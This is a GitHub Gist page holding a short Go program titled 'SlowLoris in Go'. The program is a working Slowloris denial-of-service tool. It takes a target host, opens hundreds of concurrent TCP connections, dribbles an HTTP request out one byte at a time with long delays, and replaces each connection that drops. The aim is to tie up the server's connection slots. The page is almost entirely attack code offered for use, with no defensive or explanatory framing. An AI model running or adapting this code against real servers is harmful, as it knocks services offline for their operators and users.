Skip to content

Instantly share code, notes, and snippets.

@fabiocolacio
Created October 29, 2019 20:05
Show Gist options
  • Save fabiocolacio/a29d37e106175252b16f5333bcb86fbd to your computer and use it in GitHub Desktop.
Save fabiocolacio/a29d37e106175252b16f5333bcb86fbd to your computer and use it in GitHub Desktop.
SlowLoris in Go
package main
import (
"time"
"net"
"fmt"
"flag"
"os"
)
func main() {
var (
host string
num int
timeout int
)
flag.StringVar(&host, "host", "", "host to attack")
flag.IntVar(&num, "num", 500, "number of connections to use")
flag.IntVar(&timeout, "timeout", 30, "number of second to wait between each byte sent")
flag.Parse()
if host == "" {
fmt.Fprintln(os.Stderr, "No host specified.")
return
}
slowloris := func(ch chan error) {
const request = "GET / HTTP/1.1"
var (
conn net.Conn
err error
)
conn, err = net.Dial("tcp", host)
if err != nil {
ch <- err
return
}
defer conn.Close()
for written := 0 ;; {
var (
payload []byte
wrote int
err error
)
if written < len(request) {
payload = []byte(request[written:written+1])
} else {
payload = []byte{0x13}
}
if wrote, err = conn.Write(payload); err != nil {
ch <- err
return
} else {
written += wrote
time.Sleep(time.Duration(timeout) * time.Second)
}
}
}
ch := make(chan error)
// Concurrently spin up a large number of slow connections
for i := 0; i < num; i++ {
go slowloris(ch)
}
// Every time a connection is closed, replace it
for _ = range ch {
go slowloris(ch)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment